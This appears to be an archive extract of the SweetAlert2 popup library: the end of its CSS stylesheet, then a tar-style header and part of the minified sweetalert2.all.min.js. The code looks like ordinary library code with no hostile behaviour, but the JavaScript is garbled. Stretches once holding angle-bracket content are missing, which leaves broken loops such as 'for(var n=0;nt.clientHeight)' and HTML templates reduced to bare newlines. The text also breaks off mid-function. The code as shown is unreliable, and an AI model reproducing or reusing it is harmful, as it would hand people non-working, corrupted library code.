none; box-shadow: 0 0 3px #c4e6f5; } .swal2-input::-moz-placeholder, .swal2-file::-moz-placeholder, .swal2-textarea::-moz-placeholder { color: #cccccc; } .swal2-input:-ms-input-placeholder, .swal2-file:-ms-input-placeholder, .swal2-textarea:-ms-input-placeholder { color: #cccccc; } .swal2-input::-ms-input-placeholder, .swal2-file::-ms-input-placeholder, .swal2-textarea::-ms-input-placeholder { color: #cccccc; } .swal2-input::placeholder, .swal2-file::placeholder, .swal2-textarea::placeholder { color: #cccccc; } .swal2-range { margin: 1em auto; background: #fff; } .swal2-range input { width: 80%; } .swal2-range output { width: 20%; color: inherit; font-weight: 600; text-align: center; } .swal2-range input, .swal2-range output { height: 2.625em; padding: 0; font-size: 1.125em; line-height: 2.625em; } .swal2-input { height: 2.625em; padding: 0 0.75em; } .swal2-input[type=number] { max-width: 10em; } .swal2-file { background: inherit; font-size: 1.125em; } .swal2-textarea { height: 6.75em; padding: 0.75em; } .swal2-select { min-width: 50%; max-width: 100%; padding: 0.375em 0.625em; background: inherit; color: inherit; font-size: 1.125em; } .swal2-radio, .swal2-checkbox { align-items: center; justify-content: center; background: #fff; color: inherit; } .swal2-radio label, .swal2-checkbox label { margin: 0 0.6em; font-size: 1.125em; } .swal2-radio input, .swal2-checkbox input { margin: 0 0.4em; } .swal2-validation-message { display: none; align-items: center; justify-content: center; padding: 0.625em; overflow: hidden; background: #f0f0f0; color: #666666; font-size: 1em; font-weight: 300; } .swal2-validation-message::before { content: "!"; display: inline-block; width: 1.5em; min-width: 1.5em; height: 1.5em; margin: 0 0.625em; border-radius: 50%; background-color: #f27474; color: #fff; font-weight: 600; line-height: 1.5em; text-align: center; } .swal2-icon { position: relative; box-sizing: content-box; justify-content: center; width: 5em; height: 5em; margin: 1.25em auto 1.875em; border: 0.25em solid transparent; border-radius: 50%; font-family: inherit; line-height: 5em; cursor: default; -webkit-user-select: none; -moz-user-select: none; -ms-user-select: none; user-select: none; } .swal2-icon .swal2-icon-content { display: flex; align-items: center; font-size: 3.75em; } .swal2-icon.swal2-error { border-color: #f27474; color: #f27474; } .swal2-icon.swal2-error .swal2-x-mark { position: relative; flex-grow: 1; } .swal2-icon.swal2-error [class^=swal2-x-mark-line] { display: block; position: absolute; top: 2.3125em; width: 2.9375em; height: 0.3125em; border-radius: 0.125em; background-color: #f27474; } .swal2-icon.swal2-error [class^=swal2-x-mark-line][class$=left] { left: 1.0625em; transform: rotate(45deg); } .swal2-icon.swal2-error [class^=swal2-x-mark-line][class$=right] { right: 1em; transform: rotate(-45deg); } .swal2-icon.swal2-error.swal2-icon-show { -webkit-animation: swal2-animate-error-icon 0.5s; animation: swal2-animate-error-icon 0.5s; } .swal2-icon.swal2-error.swal2-icon-show .swal2-x-mark { -webkit-animation: swal2-animate-error-x-mark 0.5s; animation: swal2-animate-error-x-mark 0.5s; } .swal2-icon.swal2-warning { border-color: #facea8; color: #f8bb86; } .swal2-icon.swal2-info { border-color: #9de0f6; color: #3fc3ee; } .swal2-icon.swal2-question { border-color: #c9dae1; color: #87adbd; } .swal2-icon.swal2-success { border-color: #a5dc86; color: #a5dc86; } .swal2-icon.swal2-success [class^=swal2-success-circular-line] { position: absolute; width: 3.75em; height: 7.5em; transform: rotate(45deg); border-radius: 50%; } .swal2-icon.swal2-success [class^=swal2-success-circular-line][class$=left] { top: -0.4375em; left: -2.0635em; transform: rotate(-45deg); transform-origin: 3.75em 3.75em; border-radius: 7.5em 0 0 7.5em; } .swal2-icon.swal2-success [class^=swal2-success-circular-line][class$=right] { top: -0.6875em; left: 1.875em; transform: rotate(-45deg); transform-origin: 0 3.75em; border-radius: 0 7.5em 7.5em 0; } .swal2-icon.swal2-success .swal2-success-ring { position: absolute; z-index: 2; top: -0.25em; left: -0.25em; box-sizing: content-box; width: 100%; height: 100%; border: 0.25em solid rgba(165, 220, 134, 0.3); border-radius: 50%; } .swal2-icon.swal2-success .swal2-success-fix { position: absolute; z-index: 1; top: 0.5em; left: 1.625em; width: 0.4375em; height: 5.625em; transform: rotate(-45deg); } .swal2-icon.swal2-success [class^=swal2-success-line] { display: block; position: absolute; z-index: 2; height: 0.3125em; border-radius: 0.125em; background-color: #a5dc86; } .swal2-icon.swal2-success [class^=swal2-success-line][class$=tip] { top: 2.875em; left: 0.8125em; width: 1.5625em; transform: rotate(45deg); } .swal2-icon.swal2-success [class^=swal2-success-line][class$=long] { top: 2.375em; right: 0.5em; width: 2.9375em; transform: rotate(-45deg); } .swal2-icon.swal2-success.swal2-icon-show .swal2-success-line-tip { -webkit-animation: swal2-animate-success-line-tip 0.75s; animation: swal2-animate-success-line-tip 0.75s; } .swal2-icon.swal2-success.swal2-icon-show .swal2-success-line-long { -webkit-animation: swal2-animate-success-line-long 0.75s; animation: swal2-animate-success-line-long 0.75s; } .swal2-icon.swal2-success.swal2-icon-show .swal2-success-circular-line-right { -webkit-animation: swal2-rotate-success-circular-line 4.25s ease-in; animation: swal2-rotate-success-circular-line 4.25s ease-in; } .swal2-progress-steps { align-items: center; margin: 0 0 1.25em; padding: 0; background: inherit; font-weight: 600; } .swal2-progress-steps li { display: inline-block; position: relative; } .swal2-progress-steps .swal2-progress-step { z-index: 20; width: 2em; height: 2em; border-radius: 2em; background: #3085d6; color: #fff; line-height: 2em; text-align: center; } .swal2-progress-steps .swal2-progress-step.swal2-active-progress-step { background: #3085d6; } .swal2-progress-steps .swal2-progress-step.swal2-active-progress-step ~ .swal2-progress-step { background: #add8e6; color: #fff; } .swal2-progress-steps .swal2-progress-step.swal2-active-progress-step ~ .swal2-progress-step-line { background: #add8e6; } .swal2-progress-steps .swal2-progress-step-line { z-index: 10; width: 2.5em; height: 0.4em; margin: 0 -1px; background: #3085d6; } [class^=swal2] { -webkit-tap-highlight-color: transparent; } .swal2-show { -webkit-animation: swal2-show 0.3s; animation: swal2-show 0.3s; } .swal2-hide { -webkit-animation: swal2-hide 0.15s forwards; animation: swal2-hide 0.15s forwards; } .swal2-noanimation { transition: none; } .swal2-scrollbar-measure { position: absolute; top: -9999px; width: 50px; height: 50px; overflow: scroll; } .swal2-rtl .swal2-close { right: auto; left: 0; } .swal2-rtl .swal2-timer-progress-bar { right: 0; left: auto; } @supports (-ms-accelerator: true) { .swal2-range input { width: 100% !important; } .swal2-range output { display: none; } } @media all and (-ms-high-contrast: none), (-ms-high-contrast: active) { .swal2-range input { width: 100% !important; } .swal2-range output { display: none; } } @-moz-document url-prefix() { .swal2-close:focus { outline: 2px solid rgba(50, 100, 150, 0.4); } } @-webkit-keyframes swal2-toast-show { 0% { transform: translateY(-0.625em) rotateZ(2deg); } 33% { transform: translateY(0) rotateZ(-2deg); } 66% { transform: translateY(0.3125em) rotateZ(2deg); } 100% { transform: translateY(0) rotateZ(0deg); } } @keyframes swal2-toast-show { 0% { transform: translateY(-0.625em) rotateZ(2deg); } 33% { transform: translateY(0) rotateZ(-2deg); } 66% { transform: translateY(0.3125em) rotateZ(2deg); } 100% { transform: translateY(0) rotateZ(0deg); } } @-webkit-keyframes swal2-toast-hide { 100% { transform: rotateZ(1deg); opacity: 0; } } @keyframes swal2-toast-hide { 100% { transform: rotateZ(1deg); opacity: 0; } } @-webkit-keyframes swal2-toast-animate-success-line-tip { 0% { top: 0.5625em; left: 0.0625em; width: 0; } 54% { top: 0.125em; left: 0.125em; width: 0; } 70% { top: 0.625em; left: -0.25em; width: 1.625em; } 84% { top: 1.0625em; left: 0.75em; width: 0.5em; } 100% { top: 1.125em; left: 0.1875em; width: 0.75em; } } @keyframes swal2-toast-animate-success-line-tip { 0% { top: 0.5625em; left: 0.0625em; width: 0; } 54% { top: 0.125em; left: 0.125em; width: 0; } 70% { top: 0.625em; left: -0.25em; width: 1.625em; } 84% { top: 1.0625em; left: 0.75em; width: 0.5em; } 100% { top: 1.125em; left: 0.1875em; width: 0.75em; } } @-webkit-keyframes swal2-toast-animate-success-line-long { 0% { top: 1.625em; right: 1.375em; width: 0; } 65% { top: 1.25em; right: 0.9375em; width: 0; } 84% { top: 0.9375em; right: 0; width: 1.125em; } 100% { top: 0.9375em; right: 0.1875em; width: 1.375em; } } @keyframes swal2-toast-animate-success-line-long { 0% { top: 1.625em; right: 1.375em; width: 0; } 65% { top: 1.25em; right: 0.9375em; width: 0; } 84% { top: 0.9375em; right: 0; width: 1.125em; } 100% { top: 0.9375em; right: 0.1875em; width: 1.375em; } } @-webkit-keyframes swal2-show { 0% { transform: scale(0.7); } 45% { transform: scale(1.05); } 80% { transform: scale(0.95); } 100% { transform: scale(1); } } @keyframes swal2-show { 0% { transform: scale(0.7); } 45% { transform: scale(1.05); } 80% { transform: scale(0.95); } 100% { transform: scale(1); } } @-webkit-keyframes swal2-hide { 0% { transform: scale(1); opacity: 1; } 100% { transform: scale(0.5); opacity: 0; } } @keyframes swal2-hide { 0% { transform: scale(1); opacity: 1; } 100% { transform: scale(0.5); opacity: 0; } } @-webkit-keyframes swal2-animate-success-line-tip { 0% { top: 1.1875em; left: 0.0625em; width: 0; } 54% { top: 1.0625em; left: 0.125em; width: 0; } 70% { top: 2.1875em; left: -0.375em; width: 3.125em; } 84% { top: 3em; left: 1.3125em; width: 1.0625em; } 100% { top: 2.8125em; left: 0.8125em; width: 1.5625em; } } @keyframes swal2-animate-success-line-tip { 0% { top: 1.1875em; left: 0.0625em; width: 0; } 54% { top: 1.0625em; left: 0.125em; width: 0; } 70% { top: 2.1875em; left: -0.375em; width: 3.125em; } 84% { top: 3em; left: 1.3125em; width: 1.0625em; } 100% { top: 2.8125em; left: 0.8125em; width: 1.5625em; } } @-webkit-keyframes swal2-animate-success-line-long { 0% { top: 3.375em; right: 2.875em; width: 0; } 65% { top: 3.375em; right: 2.875em; width: 0; } 84% { top: 2.1875em; right: 0; width: 3.4375em; } 100% { top: 2.375em; right: 0.5em; width: 2.9375em; } } @keyframes swal2-animate-success-line-long { 0% { top: 3.375em; right: 2.875em; width: 0; } 65% { top: 3.375em; right: 2.875em; width: 0; } 84% { top: 2.1875em; right: 0; width: 3.4375em; } 100% { top: 2.375em; right: 0.5em; width: 2.9375em; } } @-webkit-keyframes swal2-rotate-success-circular-line { 0% { transform: rotate(-45deg); } 5% { transform: rotate(-45deg); } 12% { transform: rotate(-405deg); } 100% { transform: rotate(-405deg); } } @keyframes swal2-rotate-success-circular-line { 0% { transform: rotate(-45deg); } 5% { transform: rotate(-45deg); } 12% { transform: rotate(-405deg); } 100% { transform: rotate(-405deg); } } @-webkit-keyframes swal2-animate-error-x-mark { 0% { margin-top: 1.625em; transform: scale(0.4); opacity: 0; } 50% { margin-top: 1.625em; transform: scale(0.4); opacity: 0; } 80% { margin-top: -0.375em; transform: scale(1.15); } 100% { margin-top: 0; transform: scale(1); opacity: 1; } } @keyframes swal2-animate-error-x-mark { 0% { margin-top: 1.625em; transform: scale(0.4); opacity: 0; } 50% { margin-top: 1.625em; transform: scale(0.4); opacity: 0; } 80% { margin-top: -0.375em; transform: scale(1.15); } 100% { margin-top: 0; transform: scale(1); opacity: 1; } } @-webkit-keyframes swal2-animate-error-icon { 0% { transform: rotateX(100deg); opacity: 0; } 100% { transform: rotateX(0deg); opacity: 1; } } @keyframes swal2-animate-error-icon { 0% { transform: rotateX(100deg); opacity: 0; } 100% { transform: rotateX(0deg); opacity: 1; } } @-webkit-keyframes swal2-rotate-loading { 0% { transform: rotate(0deg); } 100% { transform: rotate(360deg); } } @keyframes swal2-rotate-loading { 0% { transform: rotate(0deg); } 100% { transform: rotate(360deg); } } body.swal2-shown:not(.swal2-no-backdrop):not(.swal2-toast-shown) { overflow: hidden; } body.swal2-height-auto { height: auto !important; } body.swal2-no-backdrop .swal2-container { top: auto; right: auto; bottom: auto; left: auto; max-width: calc(100% - 0.625em * 2); background-color: transparent !important; } body.swal2-no-backdrop .swal2-container > .swal2-modal { box-shadow: 0 0 10px rgba(0, 0, 0, 0.4); } body.swal2-no-backdrop .swal2-container.swal2-top { top: 0; left: 50%; transform: translateX(-50%); } body.swal2-no-backdrop .swal2-container.swal2-top-start, body.swal2-no-backdrop .swal2-container.swal2-top-left { top: 0; left: 0; } body.swal2-no-backdrop .swal2-container.swal2-top-end, body.swal2-no-backdrop .swal2-container.swal2-top-right { top: 0; right: 0; } body.swal2-no-backdrop .swal2-container.swal2-center { top: 50%; left: 50%; transform: translate(-50%, -50%); } body.swal2-no-backdrop .swal2-container.swal2-center-start, body.swal2-no-backdrop .swal2-container.swal2-center-left { top: 50%; left: 0; transform: translateY(-50%); } body.swal2-no-backdrop .swal2-container.swal2-center-end, body.swal2-no-backdrop .swal2-container.swal2-center-right { top: 50%; right: 0; transform: translateY(-50%); } body.swal2-no-backdrop .swal2-container.swal2-bottom { bottom: 0; left: 50%; transform: translateX(-50%); } body.swal2-no-backdrop .swal2-container.swal2-bottom-start, body.swal2-no-backdrop .swal2-container.swal2-bottom-left { bottom: 0; left: 0; } body.swal2-no-backdrop .swal2-container.swal2-bottom-end, body.swal2-no-backdrop .swal2-container.swal2-bottom-right { right: 0; bottom: 0; } @media print { body.swal2-shown:not(.swal2-no-backdrop):not(.swal2-toast-shown) { overflow-y: scroll !important; } body.swal2-shown:not(.swal2-no-backdrop):not(.swal2-toast-shown) > [aria-hidden=true] { display: none; } body.swal2-shown:not(.swal2-no-backdrop):not(.swal2-toast-shown) .swal2-container { position: static !important; } } body.swal2-toast-shown .swal2-container { background-color: transparent; } body.swal2-toast-shown .swal2-container.swal2-top { top: 0; right: auto; bottom: auto; left: 50%; transform: translateX(-50%); } body.swal2-toast-shown .swal2-container.swal2-top-end, body.swal2-toast-shown .swal2-container.swal2-top-right { top: 0; right: 0; bottom: auto; left: auto; } body.swal2-toast-shown .swal2-container.swal2-top-start, body.swal2-toast-shown .swal2-container.swal2-top-left { top: 0; right: auto; bottom: auto; left: 0; } body.swal2-toast-shown .swal2-container.swal2-center-start, body.swal2-toast-shown .swal2-container.swal2-center-left { top: 50%; right: auto; bottom: auto; left: 0; transform: translateY(-50%); } body.swal2-toast-shown .swal2-container.swal2-center { top: 50%; right: auto; bottom: auto; left: 50%; transform: translate(-50%, -50%); } body.swal2-toast-shown .swal2-container.swal2-center-end, body.swal2-toast-shown .swal2-container.swal2-center-right { top: 50%; right: 0; bottom: auto; left: auto; transform: translateY(-50%); } body.swal2-toast-shown .swal2-container.swal2-bottom-start, body.swal2-toast-shown .swal2-container.swal2-bottom-left { top: auto; right: auto; bottom: 0; left: 0; } body.swal2-toast-shown .swal2-container.swal2-bottom { top: auto; right: auto; bottom: 0; left: 50%; transform: translateX(-50%); } body.swal2-toast-shown .swal2-container.swal2-bottom-end, body.swal2-toast-shown .swal2-container.swal2-bottom-right { top: auto; right: 0; bottom: 0; left: auto; } body.swal2-toast-column .swal2-toast { flex-direction: column; align-items: stretch; } body.swal2-toast-column .swal2-toast .swal2-actions { flex: 1; align-self: stretch; height: 2.2em; margin-top: 0.3125em; } body.swal2-toast-column .swal2-toast .swal2-loading { justify-content: center; } body.swal2-toast-column .swal2-toast .swal2-input { height: 2em; margin: 0.3125em auto; font-size: 1em; } body.swal2-toast-column .swal2-toast .swal2-validation-message { font-size: 1em; }sweetalert2.all.min.js000064400000206546151735567630010733 0ustar00!function(t,e){"object"==typeof exports&&"undefined"!=typeof module?module.exports=e():"function"==typeof define&&define.amd?define(e):(t=t||self).Sweetalert2=e()}(this,function(){"use strict";function r(t){return(r="function"==typeof Symbol&&"symbol"==typeof Symbol.iterator?function(t){return typeof t}:function(t){return t&&"function"==typeof Symbol&&t.constructor===Symbol&&t!==Symbol.prototype?"symbol":typeof t})(t)}function a(t,e){if(!(t instanceof e))throw new TypeError("Cannot call a class as a function")}function o(t,e){for(var n=0;nt.clientHeight)}function lt(t){var e=window.getComputedStyle(t),n=parseFloat(e.getPropertyValue("animation-duration")||"0"),o=parseFloat(e.getPropertyValue("transition-duration")||"0");return 0\n
      \n
        \n
        \n
        \n
        \n
        \n
        \n \n

        \n \n
        \n
        \n
        \n \n \n
        \n \n \n
        \n \n
        \n \n \n
        \n
        \n
        \n
        \n \n \n \n
        \n
        \n
        \n
        \n
        \n \n').replace(/(^|\n)\s*/g,""),kt=function(t){var e,n,o,i,r,a,s,c,u,l,d,p,f,m,h,g=!!(e=C())&&(e.parentNode.removeChild(e),yt([document.documentElement,document.body],[J["no-backdrop"],J["toast-shown"],J["has-column"]]),!0);pt()?Y("SweetAlert2 requires document to initialize"):((n=document.createElement("div")).className=J.container,g&&vt(n,J["no-transition"]),_(n,Ct),(o="string"==typeof(i=t.target)?document.querySelector(i):i).appendChild(n),r=t,(a=x()).setAttribute("role",r.toast?"alert":"dialog"),a.setAttribute("aria-live",r.toast?"polite":"assertive"),r.toast||a.setAttribute("aria-modal","true"),s=o,"rtl"===window.getComputedStyle(s).direction&&vt(C(),J.rtl),c=A(),u=bt(c,J.input),l=bt(c,J.file),d=c.querySelector(".".concat(J.range," input")),p=c.querySelector(".".concat(J.range," output")),f=bt(c,J.select),m=c.querySelector(".".concat(J.checkbox," input")),h=bt(c,J.textarea),u.oninput=ft,l.onchange=ft,f.onchange=ft,m.onchange=ft,h.oninput=ft,d.oninput=function(t){ft(t),p.value=d.value},d.onchange=function(t){ft(t),d.nextSibling.value=d.value})},xt=function(t,e){t.jquery?Bt(e,t):_(e,t.toString())},Bt=function(t,e){if(t.textContent="",0 in e)for(var n=0;n in e;n++)t.appendChild(e[n].cloneNode(!0));else t.appendChild(e.cloneNode(!0))},Pt=function(){if(pt())return!1;var t=document.createElement("div"),e={WebkitAnimation:"webkitAnimationEnd",OAnimation:"oAnimationEnd oanimationend",animation:"animationend"};for(var n in e)if(Object.prototype.hasOwnProperty.call(e,n)&&void 0!==t.style[n])return e[n];return!1}();function At(t,e,n){var o;ct(t,n["show".concat((o=e).charAt(0).toUpperCase()+o.slice(1),"Button")],"inline-block"),_(t,n["".concat(e,"ButtonText")]),t.setAttribute("aria-label",n["".concat(e,"ButtonAriaLabel")]),t.className=J[e],z(t,n,"".concat(e,"Button")),vt(t,n["".concat(e,"ButtonClass")])}function St(t,e){var n,o,i,r,a,s,c,u,l=C();l&&(n=l,"string"==typeof(o=e.backdrop)?n.style.background=o:o||vt([document.documentElement,document.body],J["no-backdrop"]),!e.backdrop&&e.allowOutsideClick&&K('"allowOutsideClick" parameter requires `backdrop` parameter to be set to `true`'),i=l,(r=e.position)in J?vt(i,J[r]):(K('The "position" parameter is not valid, defaulting to "center"'),vt(i,J.center)),a=l,!(s=e.grow)||"string"!=typeof s||(c="grow-".concat(s))in J&&vt(a,J[c]),z(l,e,"container"),(u=document.body.getAttribute("data-swal2-queue-step"))&&(l.setAttribute("data-queue-step",u),document.body.removeAttribute("data-swal2-queue-step")))}function Et(t,e){t.placeholder&&!e.inputPlaceholder||(t.placeholder=e.inputPlaceholder)}var Ot={promise:new WeakMap,innerParams:new WeakMap,domCache:new WeakMap},Tt=["input","file","range","select","radio","checkbox","textarea"],Lt=function(t){if(!It[t.input])return Y('Unexpected type of input! Expected "text", "email", "password", "number", "tel", "select", "radio", "checkbox", "textarea", "file" or "url", got "'.concat(t.input,'"'));var e=jt(t.input),n=It[t.input](e,t);rt(n),setTimeout(function(){nt(n)})},Dt=function(t,e){var n=et(A(),t);if(n)for(var o in!function(t){for(var e=0;e=c.progressSteps.length&&K("Invalid currentProgressStep parameter, it should be less than progressSteps.length (currentProgressStep like JS arrays starts from 0)"),c.progressSteps.forEach(function(t,e){var n,o,i,r,a,s=(n=t,o=document.createElement("li"),vt(o,J["progress-step"]),_(o,n),o);u.appendChild(s),e===l&&vt(s,J["active-progress-step"]),e!==c.progressSteps.length-1&&(r=c,a=document.createElement("li"),vt(a,J["progress-step-line"]),r.progressStepsDistance&&(a.style.width=r.progressStepsDistance),i=a,u.appendChild(i))})}function Ht(t,e){var n,o,i,r,a,s,c,u,l=I();z(l,e,"header"),Rt(0,e),n=t,o=e,(r=Ot.innerParams.get(n))&&o.icon===r.icon&&B()?Ft(B(),o):(_t(),o.icon&&(-1!==Object.keys(X).indexOf(o.icon)?(i=k(".".concat(J.icon,".").concat(X[o.icon])),rt(i),Wt(i,o),Ft(i,o),vt(i,o.showClass.icon)):Y('Unknown icon! Expected "success", "error", "warning", "info" or "question", got "'.concat(o.icon,'"')))),function(t){var e=S();if(!t.imageUrl)return at(e);rt(e,""),e.setAttribute("src",t.imageUrl),e.setAttribute("alt",t.imageAlt),it(e,"width",t.imageWidth),it(e,"height",t.imageHeight),e.className=J.image,z(e,t,"image")}(e),a=e,s=P(),ct(s,a.title||a.titleText),a.title&&mt(a.title,s),a.titleText&&(s.innerText=a.titleText),z(s,a,"title"),c=e,u=R(),_(u,c.closeButtonHtml),z(u,c,"closeButton"),ct(u,c.showCloseButton),u.setAttribute("aria-label",c.closeButtonAriaLabel)}function Nt(t,e){var n,o,i,r;n=e,o=x(),it(o,"width",n.width),it(o,"padding",n.padding),n.background&&(o.style.background=n.background),Qt(o,n),St(0,e),Ht(t,e),Mt(t,e),ht(0,e),i=e,r=M(),ct(r,i.footer),i.footer&&mt(i.footer,r),z(r,i,"footer"),"function"==typeof e.didRender?e.didRender(x()):"function"==typeof e.onRender&&e.onRender(x())}function Ut(){return T()&&T().click()}var _t=function(){for(var t=n(),e=0;e\n \n
        \n
        \n '):"error"===e.icon?_(t,'\n \n \n \n \n '):_(t,Yt({question:"?",warning:"!",info:"i"}[e.icon]))},Kt=function(t,e){if(e.iconColor){t.style.color=e.iconColor,t.style.borderColor=e.iconColor;for(var n=0,o=[".swal2-success-line-tip",".swal2-success-line-long",".swal2-x-mark-line-left",".swal2-x-mark-line-right"];n').concat(t,"")},Zt=[],Qt=function(t,e){t.className="".concat(J.popup," ").concat(wt(t)?e.showClass.popup:""),e.toast?(vt([document.documentElement,document.body],J["toast-shown"]),vt(t,J.toast)):vt(t,J.modal),z(t,e,"popup"),"string"==typeof e.customClass&&vt(t,e.customClass),e.icon&&vt(t,J["icon-".concat(e.icon)])};function $t(){var t=x();t||bn.fire(),t=x();var e=j(),n=T(),o=D();rt(e),at(n),vt([t,e],J.loading),rt(o),t.setAttribute("data-loading",!0),t.setAttribute("aria-busy",!0),t.focus()}function Jt(){return new Promise(function(t){var e=window.scrollX,n=window.scrollY;oe.restoreFocusTimeout=setTimeout(function(){oe.previousActiveElement&&oe.previousActiveElement.focus?(oe.previousActiveElement.focus(),oe.previousActiveElement=null):document.body&&document.body.focus(),t()},100),void 0!==e&&void 0!==n&&window.scrollTo(e,n)})}function Xt(){if(oe.timeout)return function(){var t=V(),e=parseInt(window.getComputedStyle(t).width);t.style.removeProperty("transition"),t.style.width="100%";var n=parseInt(window.getComputedStyle(t).width),o=parseInt(e/n*100);t.style.removeProperty("transition"),t.style.width="".concat(o,"%")}(),oe.timeout.stop()}function Gt(){if(oe.timeout){var t=oe.timeout.start();return dt(t),t}}function te(t){return Object.prototype.hasOwnProperty.call(ie,t)}function ee(t){return ae[t]}function ne(t){for(var e in t)te(i=e)||K('Unknown parameter "'.concat(i,'"')),t.toast&&(o=e,-1!==se.indexOf(o)&&K('The parameter "'.concat(o,'" is incompatible with toasts'))),ee(n=e)&&g(n,ee(n));var n,o,i}var oe={},ie={title:"",titleText:"",text:"",html:"",footer:"",icon:void 0,iconColor:void 0,iconHtml:void 0,toast:!1,animation:!0,showClass:{popup:"swal2-show",backdrop:"swal2-backdrop-show",icon:"swal2-icon-show"},hideClass:{popup:"swal2-hide",backdrop:"swal2-backdrop-hide",icon:"swal2-icon-hide"},customClass:void 0,target:"body",backdrop:!0,heightAuto:!0,allowOutsideClick:!0,allowEscapeKey:!0,allowEnterKey:!0,stopKeydownPropagation:!0,keydownListenerCapture:!1,showConfirmButton:!0,showDenyButton:!1,showCancelButton:!1,preConfirm:void 0,confirmButtonText:"OK",confirmButtonAriaLabel:"",confirmButtonColor:void 0,denyButtonText:"No",denyButtonAriaLabel:"",denyButtonColor:void 0,cancelButtonText:"Cancel",cancelButtonAriaLabel:"",cancelButtonColor:void 0,buttonsStyling:!0,reverseButtons:!1,focusConfirm:!0,focusDeny:!1,focusCancel:!1,showCloseButton:!1,closeButtonHtml:"×",closeButtonAriaLabel:"Close this dialog",loaderHtml:"",showLoaderOnConfirm:!1,imageUrl:void 0,imageWidth:void 0,imageHeight:void 0,imageAlt:"",timer:void 0,timerProgressBar:!1,width:void 0,padding:void 0,background:void 0,input:void 0,inputPlaceholder:"",inputValue:"",inputOptions:{},inputAutoTrim:!0,inputAttributes:{},inputValidator:void 0,validationMessage:void 0,grow:!1,position:"center",progressSteps:[],currentProgressStep:void 0,progressStepsDistance:void 0,onBeforeOpen:void 0,onOpen:void 0,willOpen:void 0,didOpen:void 0,onRender:void 0,didRender:void 0,onClose:void 0,onAfterClose:void 0,willClose:void 0,didClose:void 0,onDestroy:void 0,didDestroy:void 0,scrollbarPadding:!0},re=["allowEscapeKey","allowOutsideClick","background","buttonsStyling","cancelButtonAriaLabel","cancelButtonColor","cancelButtonText","closeButtonAriaLabel","closeButtonHtml","confirmButtonAriaLabel","confirmButtonColor","confirmButtonText","currentProgressStep","customClass","denyButtonAriaLabel","denyButtonColor","denyButtonText","didClose","didDestroy","footer","hideClass","html","icon","iconColor","imageAlt","imageHeight","imageUrl","imageWidth","onAfterClose","onClose","onDestroy","progressSteps","reverseButtons","showCancelButton","showCloseButton","showConfirmButton","showDenyButton","text","title","titleText","willClose"],ae={animation:'showClass" and "hideClass',onBeforeOpen:"willOpen",onOpen:"didOpen",onRender:"didRender",onClose:"willClose",onAfterClose:"didClose",onDestroy:"didDestroy"},se=["allowOutsideClick","allowEnterKey","backdrop","focusConfirm","focusDeny","focusCancel","heightAuto","keydownListenerCapture"],ce=Object.freeze({isValidParameter:te,isUpdatableParameter:function(t){return-1!==re.indexOf(t)},isDeprecatedParameter:ee,argsToParams:function(o){var i={};return"object"!==r(o[0])||w(o[0])?["title","html","icon"].forEach(function(t,e){var n=o[e];"string"==typeof n||w(n)?i[t]=n:void 0!==n&&Y("Unexpected type of ".concat(t,'! Expected "string" or "Element", got ').concat(r(n)))}):c(i,o[0]),i},isVisible:function(){return wt(x())},clickConfirm:Ut,clickDeny:function(){return L()&&L().click()},clickCancel:function(){return q()&&q().click()},getContainer:C,getPopup:x,getTitle:P,getContent:A,getHtmlContainer:function(){return e(J["html-container"])},getImage:S,getIcon:B,getIcons:n,getCloseButton:R,getActions:j,getConfirmButton:T,getDenyButton:L,getCancelButton:q,getHeader:I,getFooter:M,getTimerProgressBar:V,getFocusableElements:H,getValidationMessage:O,isLoading:U,fire:function(){for(var t=arguments.length,e=new Array(t),n=0;nwindow.innerHeight&&(tt.previousBodyPadding=parseInt(window.getComputedStyle(document.body).getPropertyValue("padding-right")),document.body.style.paddingRight="".concat(tt.previousBodyPadding+function(){var t=document.createElement("div");t.className=J["scrollbar-measure"],document.body.appendChild(t);var e=t.getBoundingClientRect().width-t.clientWidth;return document.body.removeChild(t),e}(),"px"))}function de(){return!!window.MSInputMethodContext&&!!document.documentMode}function pe(){var t=C(),e=x();t.style.removeProperty("align-items"),e.offsetTop<0&&(t.style.alignItems="flex-start")}var fe=function(){navigator.userAgent.match(/(CriOS|FxiOS|EdgiOS|YaBrowser|UCBrowser)/i)||x().scrollHeight>window.innerHeight-44&&(C().style.paddingBottom="".concat(44,"px"))},me=function(){var e,t=C();t.ontouchstart=function(t){e=he(t.target)},t.ontouchmove=function(t){e&&(t.preventDefault(),t.stopPropagation())}},he=function(t){var e=C();return t===e||!(ut(e)||"INPUT"===t.tagName||ut(A())&&A().contains(t))},ge={swalPromiseResolve:new WeakMap};function ve(t,e,n,o){var i;n?Ce(t,o):(Jt().then(function(){return Ce(t,o)}),oe.keydownTarget.removeEventListener("keydown",oe.keydownHandler,{capture:oe.keydownListenerCapture}),oe.keydownHandlerAdded=!1),e.parentNode&&!document.body.getAttribute("data-swal2-queue-step")&&e.parentNode.removeChild(e),N()&&(null!==tt.previousBodyPadding&&(document.body.style.paddingRight="".concat(tt.previousBodyPadding,"px"),tt.previousBodyPadding=null),F(document.body,J.iosfix)&&(i=parseInt(document.body.style.top,10),yt(document.body,J.iosfix),document.body.style.top="",document.body.scrollTop=-1*i),"undefined"!=typeof window&&de()&&window.removeEventListener("resize",pe),h(document.body.children).forEach(function(t){t.hasAttribute("data-previous-aria-hidden")?(t.setAttribute("aria-hidden",t.getAttribute("data-previous-aria-hidden")),t.removeAttribute("data-previous-aria-hidden")):t.removeAttribute("aria-hidden")})),yt([document.documentElement,document.body],[J.shown,J["height-auto"],J["no-backdrop"],J["toast-shown"],J["toast-column"]])}function ye(t){var e,n,o,i=x();i&&(t=function(t){return void 0!==t?c({isConfirmed:!1,isDenied:!1,isDismissed:!1},t):{isConfirmed:!1,isDenied:!1,isDismissed:!0}}(t),(e=Ot.innerParams.get(this))&&!F(i,e.hideClass.popup)&&(n=ge.swalPromiseResolve.get(this),yt(i,e.showClass.popup),vt(i,e.hideClass.popup),o=C(),yt(o,e.showClass.backdrop),vt(o,e.hideClass.backdrop),function(t,e,n){var o=C(),i=Pt&<(e),r=n.onClose,a=n.onAfterClose,s=n.willClose,c=n.didClose;if(be(e,s,r),i){we(t,e,o,c||a)}else{ve(t,o,G(),c||a)}}(this,i,e),n(t)))}var be=function(t,e,n){null!==e&&"function"==typeof e?e(t):null!==n&&"function"==typeof n&&n(t)},we=function(t,e,n,o){oe.swalCloseEventFinishedCallback=ve.bind(null,t,n,G(),o),e.addEventListener(Pt,function(t){t.target===e&&(oe.swalCloseEventFinishedCallback(),delete oe.swalCloseEventFinishedCallback)})},Ce=function(t,e){setTimeout(function(){"function"==typeof e&&e(),t._destroy()})};function ke(t,e,n){var 